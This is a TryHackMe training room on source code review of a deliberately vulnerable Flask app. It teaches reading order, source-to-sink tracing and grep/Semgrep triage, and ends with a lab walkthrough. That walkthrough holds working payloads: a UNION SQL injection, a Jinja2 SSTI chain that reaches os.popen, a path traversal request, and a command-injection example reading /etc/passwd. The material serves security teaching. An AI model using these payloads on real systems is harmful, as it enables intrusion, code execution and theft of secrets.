To access material, start machines and answer questions login.
Set up your virtual environment
A black-box tester sees a login form and a handful of endpoints. A white-box tester sees the function behind the login form, the query it builds, and the line where it forgets to escape an input. Grey-box testing sits between the two: we work with partial inside knowledge, valid credentials or a slice of the source, but not the full picture, which is the position we take for this room's practical. When source code is on the table, we stop guessing where the bugs might be and start reading where they are, and bugs that would take hours of fuzzing to surface become visible in minutes once we know what to look for and where to look.
This room walks through code review from the ground up: how to orient in a codebase we have never seen, how to map its attack surface from routing and configuration, how to trace user input from where it enters to where it causes damage, and how to triage hundreds of files in minutes with grep and Semgrep. By the end, we will audit a purpose-built vulnerable Flask application using the exact workflow a penetration tester follows when handed source on an engagement.
This is the code review entry in the Web Frameworks series. Every code sample and the practical lab here are Python and Flask, chosen because Python puts the least boilerplate between a route and a bug. The method is what transfers: the same reading order and source-to-sink thinking apply to any framework, Spring Boot, ASP.NET Core, Express. The syntax changes but the approach does not.
Learning Objectives
- Distinguish black-box, grey-box, and white-box testing, and recognise when source access changes the approach
- Orient quickly in an unfamiliar codebase using a fixed reading order
- Map the attack surface from routing and configuration without running the application
- Trace user-controlled input from source to sink in Python web code
- Triage a codebase with grep, ripgrep, and Semgrep
- Recognise SQL injection, command injection, Server-Side Template Injection (SSTI), insecure deserialisation, path traversal, broken access control, and hardcoded secrets in source
- Apply the full method to a purpose-built vulnerable Flask application
Prerequisites
- OWASP Top 10 (2025): The web bug classes we will learn to spot in source
- Burp Suite: The Basics: Black-box web testing, the counterpart to the white-box approach here
- SQL Injection: One of the sink types we will trace from source to a working exploit
- Content Discovery: Finding the files and endpoints that source review then explains
Machine Access
Deploy the machine with the Start Machine button and give it a few minutes to boot. It hosts three surfaces we use together: a browser-based source viewer at http://MACHINE_IP that shows the application's code beside the running app, the Vaultkeeper web app itself at http://MACHINE_IP:8080 (the app binds port 5000 inside its container and is published on 8080, so the source shows port=5000 while we reach it on 8080), and an SSH review account where grep, ripgrep, and Semgrep are already installed with the source ready to scan. The pattern for the whole room is that simple: read the code in the viewer, run the tools over . Leave the machine running so the source and tools are ready when we reach the practical.
Credentials
I am ready to start learning!
Open an unfamiliar repository and the instinct is to start reading files at random. That wastes the first ten minutes, the cheapest and most useful ten minutes we have. There is a reading order that takes us from zero to oriented before we hunt for a single bug, and it works because the categories are the same in every framework even when the filenames change.
The Reading Order
Read in this sequence, top to bottom:
| Step | What to read | What it tells us |
|---|---|---|
| 1 | README and docs | What the app does, how it is run, which framework |
| 2 | Dependency manifest | Libraries and versions, third-party attack surface |
| 3 | Configuration files | Debug flags, secrets, database strings |
| 4 | Routing / entry points | The full list of ways in, our attack surface map |
| 5 | Auth middleware and decorators | Which routes are protected, which are not |
| 6 | Database / models layer | Where data is stored and how queries are built |
| 7 | Individual route handlers | The logic behind each entry point |
We only reach step 7, reading handlers in detail, once we know which handlers are worth our time.
Dependency Manifests
The manifest lists every third-party library and, if we are lucky, its pinned version. In Python that is requirements.txt (or pyproject.toml), in Java pom.xml, in .NET a .csproj file. Versions matter because a pinned old release may carry a known CVE we can look up directly. A version pinned here is a lead we can act on right away: search it against a CVE database and we may have a known vulnerability before we have read a line of the application's own code. A quick supplementary check is pip-audit, which compares the manifest against a vulnerability database, but treat that as a side pass, not the focus of a code review.
Configuration First
Configuration files are where developers make mistakes before a single request is handled. We are looking for debug flags left on (DEBUG = True), secret keys written as string literals, database connection strings with embedded passwords, and disabled security checks. In a Flask project the conventional home for this is config.py. Read it early, because a DEBUG = True here changes how every later bug behaves. A database connection string is a frequent prize, since it usually carries the username and password inline, and a committed connection string is a working credential, not just a hint.
Routing Is the Attack Surface Map
Every route is an entry point, and enumerating them is the single most useful thing we do before reading logic. In Flask, routes are marked with the @app.route decorator:
Django collects them in a urlpatterns list, Spring uses annotations like @GetMapping. Whatever the syntax, list every route first. That list is our attack surface; everything we test lives on it.
Authentication Boundaries
With the routes listed, mark which ones require authentication. In Flask that usually means a @login_required decorator (or a custom check) sitting above the route. The interesting routes are the ones that handle sensitive data but are missing that decorator, and the ones that check a role using a value the client supplies.
Approaching an Unfamiliar Framework
We will meet frameworks we have never used. The move is always the same: read the README for the framework name, confirm it in the dependency manifest, then apply the reading order above. The vocabulary differs, the categories do not. A configuration file is a configuration file whether it is config.py, application.properties, or appsettings.json.
Mapping the Vaultkeeper Source
Open the source for the target application, a small Flask tool called Vaultkeeper. We can read it two ways: in the browser viewer at http://MACHINE_IP, which shows each file beside the live app, or over SSH on the machine itself, where the source sits in ~/vaultkeeper. Apply the reading order: open the manifest, then config.py, then find every @app.route and write the list down. By the time we finish step 4 we should have a one-page map of the application, and we have not run it once.
At step 2 of the reading order we check the dependency manifest, because a pinned old version is a lead we can search against a CVE database. Which file conventionally holds that manifest in a Python project?
Which decorator marks a function as a route, and therefore an entry point, in a Flask application?
We read configuration before any route handler because a setting like DEBUG = True changes how every later bug behaves. In a Flask app, which file conventionally holds that debug flag and the secret key?
Most web application bugs are the same shape: data the user controls reaches an operation that was never meant to receive attacker input. White-box testing turns that shape into a procedure. Find where data enters, find where it lands, and decide whether anything safe happens in between. We call the entry a source, the dangerous landing point a sink, and the route between them the data flow.
Sources
A source is any place user-controlled data enters the application. In Flask the common ones all hang off the request object:
Other frameworks expose the same idea under different names. Anything that came from the client is a source, including values we might not think of as input, like a Host header or a filename in an upload.
Sinks
A sink is any operation that becomes dangerous when fed attacker input. The headline sinks are:
- SQL query construction (
cursor.execute) - Shell command execution (
os.system,subprocesswithshell=True) - Template rendering (
render_template_string) - Deserialisation (
pickle.loads,yaml.load) - File path construction (
open,send_file) - Arbitrary evaluation (
eval,exec)
A sink on its own is not a bug. A sink reached by a source, with no safe step between them, is.
The Path Between
Between source and sink there may be sanitisation, validation, or type coercion that defuses the input, or there may be nothing. The tester's job is to read that path and decide. A cast to int() on an ID before it hits a query closes SQL injection. A regex that rejects ../ before a path is opened closes traversal. Read the path; do not assume it exists.
Tracing in Two Directions
We can trace either way. Starting at the sink and working backwards is efficient when sinks are rare: find the one cursor.execute that builds its query with an f-string, then walk back to confirm the value is user-controlled. Starting at the source and following it forward suits a handler we are reading top to bottom. Both arrive at the same answer, which is whether a clean path runs from input to danger.
Why Sanitising at the Source Is Not Enough
A value can be cleaned on the way in, stored, then retrieved later and dropped into a sink in a completely different handler. That is the second-order pattern, and it defeats anyone who only checks the entry point. The classic case is a username validated at registration, stored, then concatenated into a raw query by an admin report weeks later. Stored XSS works the same way. When we trace, we follow the data into the database and back out again, not just from the request to the first function that touches it.
A Worked Example
Source: request.args.get("name"). Sink: render_template_string, which compiles its argument as a Jinja2 template. The path between them is an f-string that drops name straight into the template text, with no validation. The user controls template syntax, which is server-side template injection (SSTI). Compare the safe version, where the value is passed as data into a fixed template and never becomes template code:
Tracing With Tooling
We can automate the trace. Semgrep's taint mode follows a value from a declared source to a declared sink and reports the path, which scales the manual technique across a whole codebase. CodeQL does the same with deeper interprocedural analysis. We use Semgrep hands-on in the next task; the concept is identical to what we just did by hand.
Tracing backwards from a cursor.execute call, we walk the value back to the point where it entered the application from the client. What do we call that entry point?
render_template_string and subprocess.run(..., shell=True) are both examples of which type of location in our source-to-sink model?
In the worked example, request.args.get("name") flows into render_template_string with no validation. Which vulnerability class does that source-to-sink path create?
Reading every file by hand does not scale past a toy application. The fix is triage: a fast, pattern-based first pass that surfaces candidates, followed by manual review that confirms which candidates are real. grep and Semgrep are the triage tools. Neither one finds bugs. They find places worth looking, and the difference matters because a function call is not a vulnerability until we confirm its input is attacker-controlled.
We run these tools where the code lives. For this room the target machine already has grep, ripgrep, and Semgrep installed, with the Vaultkeeper source waiting in the review account's home directory, so the practical in Task 7 has us SSH in and scan it in place. If we would rather work on our own machine, the same source is downloadable from the viewer at http://MACHINE_IP. Read the code in the viewer, run the tools over .
Grep for Dangerous Calls
Start with the sinks from the previous task. A single recursive grep scoped to Python files surfaces every call site:
$ grep -rn --include="*.py" -E "os\.system|subprocess|eval\(|exec\(|pickle\.loads|render_template_string|cursor\.execute|send_file|open\(" .
./app.py:12: render_template_string,
./app.py:13: send_file,
./app.py:86: heading = render_template_string("Results for: " + q) if q else ""
./app.py:93: cursor.execute(
./app.py:124: return send_file(path)
Flags explained:
-r, search recursively from the current directory-n, print the line number of each match--include="*.py", only search Python files-E, use extended regular expressions so|means "or"
Add -A 3 -B 3 to print three lines of context on each side of a hit, which is usually enough to see whether the argument is a request value. On a large codebase, ripgrep (rg) is a faster drop-in for these searches and skips anything in .gitignore by default, which keeps vendored third-party packages out of our results.
Grep for Secrets and Config
Two more passes pay off immediately. The first hunts hardcoded secrets by variable name:
$ grep -rnE "(SECRET|KEY|TOKEN|PASSWORD|API_KEY)\s*=\s*['\"]" --include="*.py" .
./config.py:6:SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
The second hunts configuration antipatterns: debug left on, TLS verification disabled.
$ grep -rnE "DEBUG\s*=\s*True|TESTING\s*=\s*True|verify\s*=\s*False" .
./config.py:7:DEBUG = True
A useful one-off is the AWS access key ID pattern, which has a fixed shape we can match exactly:
$ grep -rE "AKIA[0-9A-Z]{16}" .
# no matches: this codebase contains no AWS keys (grep exits non-zero)
Semgrep for Rule-Based Triage
grep matches text. Semgrep matches code structure, so it understands that a call is a call regardless of spacing or variable names, and it ships rulesets written by the community. Install it and point it at a ruleset:
$ pip install semgrep # already installed on the room's machine
$ semgrep --config p/owasp-top-ten . # registry ruleset, needs internet: run on a connected box, not the offline VM
app.py
❯❱ python.flask.security.injection.tainted-sql-string
94┆ f"SELECT title, secret FROM vault WHERE owner_id = {uid} AND title LIKE '%{q}%'"
❯❱ python.flask.security.audit.avoid_app_run_with_bad_host
128┆ app.run(host="0.0.0.0", port=5000)
┌─────────────────┐
│ 2 Code Findings │
└─────────────────┘
The --config flag selects the ruleset. p/owasp-top-ten maps findings to categories, p/python is a broader Python ruleset. Both rulesets are fetched from Semgrep's registry, so they need internet access, which means the command above runs on a connected machine (our own box, or the AttackBox with the downloaded source), not on the room's VM. That VM is offline by design: Semgrep is pre-installed and a ready-to-run ruleset sits at /opt/review/semgrep-rules, so when we SSH in for the practical we scan straight away with no connectivity, exactly what we do in Task 7. Each finding names a rule, a file, a line, and a severity. Read a finding as a candidate, the same way we read a grep hit: Semgrep flagged a pattern, we still confirm the input is user-controlled.
A Minimal Custom Rule
When we want to hunt a pattern the community rules miss, a Semgrep rule needs only three fields to be useful:
pattern is the code shape to match, message is what prints on a hit, severity sorts the output. This is enough to adapt an existing rule to our target; authoring complex rules is its own skill. If we need a fully open-source engine, Opengrep is the LGPL fork of Semgrep and runs the same rule syntax.
Knowing When to Stop
The risk of triage is false confidence. grep finds a cursor.execute, but not whether the string passed to it came from the user or from a hardcoded constant two lines up. Work the candidate list in order of impact, confirm each hit by reading the surrounding code, and only then call it a finding. Sort the list before starting: a hit on render_template_string or cursor.execute deserves attention before a hit on open(, which is far more often benign. A long list of grep hits is a to-do list, not a report.
Our first triage pass is a single grep that searches every Python file recursively and prints the line number of each hit so we can jump straight to it. Which two-flag combination gives us recursion plus line numbers?
Semgrep matches code structure rather than text, and we point it at a community ruleset such as p/owasp-top-ten. Which command-line flag selects that ruleset?
Injection bugs all share one shape: user input flows into something that interprets it, a database, a shell, a template engine, or a deserialiser, and the interpreter does what the input tells it. Once we know the dangerous sink and its safe counterpart for each class, we recognise the bug on sight. This task is the first half of our reference library; read each pair as "what is broken" against "what it should have been".
Injection
The bug is building a query by pasting user input into the string, with an f-string or concatenation, instead of using placeholders:
The safe pattern passes values as parameters, so the database driver keeps data and code separate:
Watch for the second-order case too, where input is stored cleanly and a later query reads it back into an f-string. The sink is the same, the source is the database.
SQL injection is rarely just a database read. Depending on the query and the engine, it can modify rows, bypass an authentication check, or read local files. It also hides inside ORMs. An ORM normally builds parameterised queries for us, which is why reaching for one feels safe, but the moment a developer uses a raw escape hatch, SQLAlchemy's text(), Django's .raw() or .extra(), they hand the database a string they assembled by hand and lose that protection, so the presence of an ORM is no guarantee the query is parameterised. When we find one of those escape hatches with an f-string inside it, treat it exactly like a raw cursor.execute.
Command Injection
The bug is putting user input into a command string that a shell will parse:
A value like 127.0.0.1; cat /etc/passwd runs a second command. os.system and os.popen carry the same risk. The safe pattern passes arguments as a list and drops the shell, so the input can only ever be a single argument, never new syntax:
The toggle is the shell. With shell=True the whole string is handed to /bin/sh, which treats ;, |, &&, and backticks as syntax to act on. With a list and no shell, the operating system runs the named program directly and every element is a literal argument, so there is no syntax left for an attacker to smuggle in.
Server-Side Template Injection
The bug is rendering user input as a template rather than passing it into one. render_template_string compiles its argument as a Jinja2 template every time:
Because Jinja2 evaluates expressions inside the same Python process that serves the request, template injection is not limited to printing text; it can reach code execution. The safe pattern keeps the template fixed and passes the value as data:
The smoke test is {{7*7}}: if the response contains 49, the input was evaluated as a template rather than echoed as text. Getting from there to remote code execution means climbing Python's object graph. Every object exposes its type through __class__, its ancestry through __mro__, and, for a function, the global namespace of the module that defined it through __globals__. Follow those attributes far enough and we reach a module such as os and call os.popen. Jinja2 makes the climb easier by leaving a few harmless-looking helpers in scope inside every template, cycler, lipsum, and request among them, and any of them can serve as the first rung. We walk one of these gadgets hop by hop against the lab in Task 7.
Insecure Deserialisation
The bug is deserialising attacker-controlled bytes with a deserialiser that can construct arbitrary objects. pickle is the worst offender, because unpickling can execute code:
yaml.load without a safe loader has the same problem. The fixes are to use a data-only format such as JSON, or to force the safe loader (yaml.safe_load, or yaml.load(data, Loader=yaml.SafeLoader)). Once an attacker controls what gets deserialised, they often control what runs. The mechanism is that pickle can be told to call any object during loading (through __reduce__), so a crafted byte stream becomes code execution, not just a rebuilt dictionary. There is no safe way to unpickle data we do not trust, so the real fix is to never use pickle as a transport for user input.
The Question to Ask
For every hit in this class, ask two things: is the value user-controlled, and does any validation happen before the sink? If the answer is "yes" then "no", we have a finding.
With subprocess.run(), the difference between safe and exploitable is whether the input is parsed by /bin/sh. Which keyword argument, when present, hands the whole command string to the shell and so opens command injection? Give it as written in code, including its value.
Insecure deserialisation reaches code execution because the deserialiser can be told to call arbitrary objects through __reduce__. Which Python function in the task is the worst offender, loading attacker bytes back into objects?
Not every bug fits the source-to-sink injection model. Three of the most common findings in a real code review come from missing authorisation checks, unsafe file path handling, and secrets left sitting in the source tree. These are often the fastest wins, because spotting them is a matter of noticing what is absent rather than tracing a data flow. This is the second half of our reference library.
Path Traversal
The bug is building a file path from user input without checking that the result stays inside the intended directory:
os.path.join does not protect us. It is string joining with separators, and worse, if filename is an absolute path it discards UPLOAD_DIR entirely. A ../ sequence walks straight out of the upload folder. The safe counterpart in Flask is send_from_directory, which routes the path through Werkzeug's safe_join and returns a 404 when the resolved path escapes the directory:
The takeaway to carry into any review: send_file(os.path.join(...)) on user input is the dangerous shape, send_from_directory is the safe one. Seeing send_file with a joined user path is reason enough to test for traversal.
The impact is read access to any file the application's user can reach: the source itself, config.py with its secrets, /etc/passwd, SSH keys, other users' uploads. The absolute-path case is the one that catches people out, because os.path.join(UPLOAD_DIR, "/etc/passwd") returns /etc/passwd. A developer who carefully strips ../ but never rejects a leading slash is still exposed.
Broken Access Control and IDOR
The bug is a handler that acts on a resource identified by the client without checking the client is allowed to touch it:
The route is authenticated, so it feels safe, but it never checks that item_id belongs to the current user. Change the number in the URL and it returns someone else's record. That is an insecure direct object reference (IDOR). The fix is an ownership check: query for the record where the id matches and the owner is the current user, and return 404 otherwise. Two related patterns belong here as well: routes that should be protected but are missing their @login_required decorator entirely, and role checks that trust a client-supplied value such as a cookie field or form parameter.
In review this one is fast to spot. Find the database lookup, then read its WHERE clause or filter. If it keys on the supplied id alone, with no owner_id = current_user style condition, it is an IDOR. Sequential integer ids make it trivial to exploit: walk /vault/1, /vault/2, /vault/3 and read every record in turn.
Hardcoded Secrets
The bug is a secret written as a string literal in a file that lives in version control:
A SECRET_KEY, API key, database password, or token in source is compromised the moment anyone reads the repository, and Git keeps it in history even after a later commit removes it. The right place is an environment variable or secrets manager, loaded at runtime. Watch for the related mistake of a .env file that holds the real secret but was never added to .gitignore, so it ships with the code. The grep pass from Task 4 finds both.
For a Flask SECRET_KEY the stakes are concrete: anyone who reads it can forge a signed session cookie and authenticate as any user, the same chain the sibling Web Frameworks: Python room exploits. Because secrets survive in Git history, a value committed once and deleted later is still recoverable, which is why tools such as gitleaks and trufflehog scan the whole history rather than only the current checkout.
We read send_file(os.path.join(UPLOAD_DIR, filename)) on user input as the dangerous shape for path traversal. Which Flask function is its safe counterpart, routing the path through safe_join and returning a 404 when it escapes the directory?
Reading a handler, we find Vault.query.get(item_id) keyed on the URL id with no owner_id = current_user condition in the filter. What is the common acronym for the access-control flaw this creates?
Time to run the whole method against the deployed target. Vaultkeeper is a small Flask credential-storage tool, handed to us with full source access as part of a grey-box engagement. We have a running instance at http://MACHINE_IP:8080, the source open in the viewer at http://MACHINE_IP, and SSH access to the machine for running the tools. The same credentials, analyst / vaultkeeper, log into both the web app and the SSH review account. The authenticated web routes need that session, so log in first. Our job is to map the app, triage it, then confirm and exploit the findings to retrieve three flags.
Step 1: Map the Attack Surface
SSH into the review account on the target, where the source and tools are already set up, then apply the Task 2 reading order. We can read the same files in the browser viewer at http://MACHINE_IP as we go.
$ ssh analyst@MACHINE_IP # password: vaultkeeper
analyst@thm:~$ cd ~/vaultkeeper
analyst@thm:~/vaultkeeper$ ls
app.py config.py init_db.py requirements.txt templates uploads
From ~/vaultkeeper, open the dependency manifest, read config.py, and list every @app.route. We are looking for the configuration mistakes first, then the entry points worth testing:
$ grep -rnE "DEBUG\s*=\s*True|SECRET_KEY\s*=" --include="*.py" .
./config.py:6:SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
./config.py:7:DEBUG = True
$ grep -rn "@app.route" --include="*.py" .
./app.py:50:@app.route("/")
./app.py:55:@app.route("/login", methods=["GET", "POST"])
./app.py:73:@app.route("/logout")
./app.py:79:@app.route("/search")
./app.py:105:@app.route("/vault/<int:item_id>")
./app.py:117:@app.route("/files/download")
By the end of this step we should have noted the hardcoded SECRET_KEY and DEBUG = True in config.py, and a route list that includes a search endpoint (/search), a file download endpoint (/files/download), and a per-record vault endpoint (/vault/<id>).
Step 2: Triage With Grep and Semgrep
Hunt the dangerous sinks and let Semgrep cross-check:
$ grep -rn --include="*.py" -E "cursor\.execute|render_template_string|send_file|os\.path\.join" .
./init_db.py:13:DB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "vaultkeeper.db")
./app.py:12: render_template_string,
./app.py:13: send_file,
./app.py:22:DB_PATH = os.path.join(BASE_DIR, "vaultkeeper.db")
./app.py:23:UPLOAD_DIR = os.path.join(BASE_DIR, UPLOAD_DIRNAME)
./app.py:86: heading = render_template_string("Results for: " + q) if q else ""
./app.py:93: cursor.execute(
./app.py:121: path = os.path.join(UPLOAD_DIR, filename)
./app.py:124: return send_file(path)
$ semgrep --config /opt/review/semgrep-rules .
┌─────────────────┐
│ 4 Code Findings │
└─────────────────┘
app.py
❯❱ opt.review.semgrep-rules.vk-ssti-render-template-string
❰❰ Blocking ❱❱
render_template_string on possibly user-controlled input can allow server-side
template injection (SSTI).
86┆ heading = render_template_string("Results for: " + q) if q else ""
❯❯❱ opt.review.semgrep-rules.vk-sqli-fstring-execute
❰❰ Blocking ❱❱
SQL query built with an f-string passed to execute(); use parameterised queries instead.
93┆ cursor.execute(
94┆ f"SELECT title, secret FROM vault WHERE owner_id = {uid} AND title LIKE '%{q}%'"
95┆ )
❯❯❱ opt.review.semgrep-rules.vk-path-traversal-send-file
❰❰ Blocking ❱❱
A path-joined or user-controlled value flows into send_file(); can allow path
traversal. Prefer send_from_directory.
124┆ return send_file(path)
config.py
❯❱ opt.review.semgrep-rules.vk-hardcoded-secret
❰❰ Blocking ❱❱
Hardcoded secret assigned in source; load it from the environment instead.
6┆ SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
The grep hits include noise (import lines, the DB_PATH joins), which is the point: a grep hit is a candidate, not a finding. Semgrep narrows it to the four that matter.
The machine ships Semgrep with a ready ruleset at /opt/review/semgrep-rules, so this scan runs offline; with internet access we would point --config at a public ruleset such as p/owasp-top-ten instead. Read each hit in context. The candidate list should narrow to a raw SQL query built with an f-string in the search handler, the same handler echoing the query back through render_template_string, and a download handler that joins user input with send_file.
Step 3: Confirm and Exploit
Verify three of the findings against the running instance and pull each flag. Run these from the AttackBox against http://MACHINE_IP:8080, or from our SSH session against http://localhost:8080, either reaches the app. The flags are shown as THM{...} in the output below; the running instance prints the real value, submit that.
The search and download routes are behind @login_required, so a request with no session is bounced to the login page. We log in once with curl, save the session cookie to a jar file, and reuse it with -b jar on every later request:
$ curl -s -c jar --data "username=analyst&password=vaultkeeper" "http://MACHINE_IP:8080/login"
SQL injection in the search endpoint. The handler builds its query with an f-string, so the search parameter is injectable. The query filters on the logged-in user, so it hides the data we want, but reading the seed script (init_db.py) shows the schema: a system_flags table holds the flag, and the query selects two columns. A UNION with a matching column count pulls the flag straight out. The payload is ' UNION SELECT flag, flag FROM system_flags-- -: the leading ' closes the title LIKE '%... string the handler is assembling, UNION SELECT flag, flag appends a second result set whose two columns line up with the title, secret the original query already returns (a UNION needs a matching column count), and the trailing -- - comments out the leftover %' so what is left is valid SQL:
$ curl -s -b jar --get "http://MACHINE_IP:8080/search" --data-urlencode "q=' UNION SELECT flag, flag FROM system_flags-- -" | grep -oE 'THM\{[^}]+\}' | head -1
THM{...} # FLAG1, submit this value as the answer
SSTI in the search handler. The same handler echoes our query back through render_template_string, so the query is rendered as a Jinja2 template rather than shown as data. First confirm the injection with {{7*7}}, then build the gadget promised in Task 5 one hop at a time. cycler is a helper Jinja2 always exposes in the template; cycler.__init__ is its constructor, an ordinary Python function; .__globals__ on that function is the global namespace of the module that defined it, jinja2.utils; that module imports os, so cycler.__init__.__globals__.os is the os module reached from inside the template; and .popen('printenv FLAG2').read() runs the command and returns its output. The app keeps FLAG2 in its process environment, so printenv FLAG2 reads it back:
$ curl -s -b jar --get "http://MACHINE_IP:8080/search" --data-urlencode "q={{7*7}}" | grep -oE 'Results for: [0-9]+'
Results for: 49
$ curl -s -b jar --get "http://MACHINE_IP:8080/search" --data-urlencode "q={{ cycler.__init__.__globals__.os.popen('printenv FLAG2').read() }}" | grep -oE 'THM\{[^}]+\}'
THM{...} # FLAG2
Path traversal in the download endpoint. The handler joins our filename onto the upload directory and calls send_file with no validation. Walk out of the upload folder to read /flag3.txt:
$ curl -s -b jar "http://MACHINE_IP:8080/files/download?file=../../../flag3.txt"
THM{...} # FLAG3
Hint: If a payload reflects literally instead of executing, we are hitting the wrong parameter or the value is being passed as data, not template. Re-read the handler to confirm the source reaches the sink before adjusting the payload.
The two findings we did not exploit, the broken access control on the vault endpoint and the hardcoded SECRET_KEY, are real and worth confirming in our notes. Vaultkeeper has no command-injection or insecure-deserialisation sink either; a real application rarely contains every class we studied, and recording which ones are absent is part of the audit. A full report lists every finding, not only the ones that produced a flag.
The search query filters on the logged-in user and selects two columns, so reach the system_flags table with a UNION of a matching column count. Exploit the SQL injection to extract the stored flag. What is the flag?
The same handler echoes the query back through render_template_string. Climb from {{7*7}} to command execution and read the FLAG2 value from the application's environment. What is the flag?
The download handler joins our filename onto the upload directory with no validation. Walk out of that directory to read /flag3.txt. What is the flag?
White-box testing is a reading problem before it is an exploitation problem. The exploits at the end of this room were short, because the work was in the reading that came first. The method holds together as five steps we now own: orient in the codebase, map the attack surface from routing and configuration, trace user input from source to sink, triage with grep and Semgrep, then verify each candidate by hand.
What we exercised here repeats on real targets:
- The first ten minutes are reading order, not bug hunting. Manifest, config, routes, auth, then handlers.
- A source reaching a sink with no safe step between them is the shape of almost every injection bug.
grepand Semgrep produce candidates, never confirmed findings. Manual review is the confirmation step.- The safe and dangerous counterparts (
render_templateagainstrender_template_string,send_from_directoryagainstsend_file, placeholders against f-strings) are what let us read a bug on sight. - Access control and hardcoded secrets are found by noticing what is missing, not by tracing data.
The language and framework only change the names: the sink is a raw query whether it is built with an f-string here, with Spring's JdbcTemplate in Java, or with string concatenation in C#; the template engine differs but server-side template injection reads the same. We learned a way to read code for vulnerabilities, not a Python trick, so carry the method to whatever stack the next engagement hands us. If we want to drill into a single bug class, TryHackMe has dedicated rooms for injection, SSTI, and the remaining Top 10 categories. On a real engagement with source in hand, start every review the same way: read the config, list the routes, and follow the input.
I have completed the Web Frameworks: Code Review room.
Ready to learn Cyber Security?
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in